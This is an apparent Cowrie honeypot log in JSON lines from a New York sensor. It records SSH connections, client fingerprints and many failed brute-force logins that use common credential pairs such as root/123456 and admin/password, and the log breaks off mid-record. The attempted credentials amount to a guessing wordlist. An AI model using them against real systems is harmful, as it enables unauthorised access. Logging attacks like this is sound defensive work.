{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:37.186920Z","src_ip":"45.156.87.147","session":"54a84ab7a05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:37.430529Z","src_ip":"45.156.87.147","session":"54a84ab7a05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:38.515207Z","src_ip":"45.156.87.147","session":"54a84ab7a05f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a30b007d61","protocol":"ssh","message":"New connection: 45.156.87.147:46562 (10.17.0.5:22) [session: d2a30b007d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:42.332569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:42.335472Z","src_ip":"45.156.87.147","session":"d2a30b007d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:42.415281Z","src_ip":"45.156.87.147","session":"d2a30b007d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:42.661001Z","src_ip":"45.156.87.147","session":"d2a30b007d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39534,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b5ba5dc906e","protocol":"ssh","message":"New connection: 103.82.132.16:39534 (159.203.135.109:22) [session: 7b5ba5dc906e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:43.120048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:43.123819Z","src_ip":"103.82.132.16","session":"7b5ba5dc906e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:43.394693Z","src_ip":"103.82.132.16","session":"7b5ba5dc906e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:43.863273Z","src_ip":"45.156.87.147","session":"d2a30b007d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07121984","message":"login attempt [root/07121984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:44.194046Z","src_ip":"103.82.132.16","session":"7b5ba5dc906e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:45.467321Z","src_ip":"103.82.132.16","session":"7b5ba5dc906e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.95.208.142","src_port":43078,"dst_ip":"159.203.135.109","dst_port":22,"session":"81fc5d966e16","protocol":"ssh","message":"New connection: 220.95.208.142:43078 (159.203.135.109:22) [session: 81fc5d966e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:45.802230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-russh_0.51.1","message":"Remote SSH version: SSH-2.0-russh_0.51.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:45.805314Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1b8acd46a07d2dc9854db9ec4044c45c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group18-sha512,diffie-hellman-group17-sha512,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1;none,zlib,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group18-sha512","diffie-hellman-group17-sha512","diffie-hellman-group16-sha512","diffie-hellman-group15-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-512-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-256","hmac-sha1-etm@openssh.com","hmac-sha1"],"compCS":["none","zlib","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1b8acd46a07d2dc9854db9ec4044c45c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:46.005041Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"OIFtkr4Sx9","message":"login attempt [root/OIFtkr4Sx9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:46.844037Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46570,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fab9668fbb0","protocol":"ssh","message":"New connection: 45.156.87.147:46570 (10.17.0.5:22) [session: 0fab9668fbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:47.828855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:47.833304Z","src_ip":"45.156.87.147","session":"0fab9668fbb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:47.919152Z","src_ip":"45.156.87.147","session":"0fab9668fbb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:48.045554Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"1234","message":"login attempt [bob/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:48.165929Z","src_ip":"45.156.87.147","session":"0fab9668fbb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:49.249234Z","src_ip":"45.156.87.147","session":"0fab9668fbb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:49.252339Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:50.454050Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:51.656981Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:52.859172Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47186,"dst_ip":"10.17.0.5","dst_port":22,"session":"894b41632ebc","protocol":"ssh","message":"New connection: 45.156.87.147:47186 (10.17.0.5:22) [session: 894b41632ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:53.268137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:53.344066Z","src_ip":"45.156.87.147","session":"894b41632ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:53.362437Z","src_ip":"45.156.87.147","session":"894b41632ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:53.675065Z","src_ip":"45.156.87.147","session":"894b41632ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:54.060723Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46956,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a228fed119","protocol":"telnet","message":"New connection: 128.199.8.54:46956 (159.203.135.109:23) [session: 14a228fed119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:54.215536Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:54.757803Z","src_ip":"45.156.87.147","session":"894b41632ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Aa123456","message":"login attempt [test/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:55.262987Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:57.134912Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345678","message":"login attempt [dev/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:58.336330Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47202,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecef9b8fcac8","protocol":"ssh","message":"New connection: 45.156.87.147:47202 (10.17.0.5:22) [session: ecef9b8fcac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:58.683784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:58.686766Z","src_ip":"45.156.87.147","session":"ecef9b8fcac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:58.767591Z","src_ip":"45.156.87.147","session":"ecef9b8fcac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:59.131596Z","src_ip":"45.156.87.147","session":"ecef9b8fcac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Aa123456","message":"login attempt [dev/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:59.537595Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:00.214196Z","src_ip":"45.156.87.147","session":"ecef9b8fcac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:00.739696Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:01.943604Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:03.148994Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4833b403193","protocol":"ssh","message":"New connection: 45.156.87.147:44602 (10.17.0.5:22) [session: a4833b403193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:03.947186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:03.949714Z","src_ip":"45.156.87.147","session":"a4833b403193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","e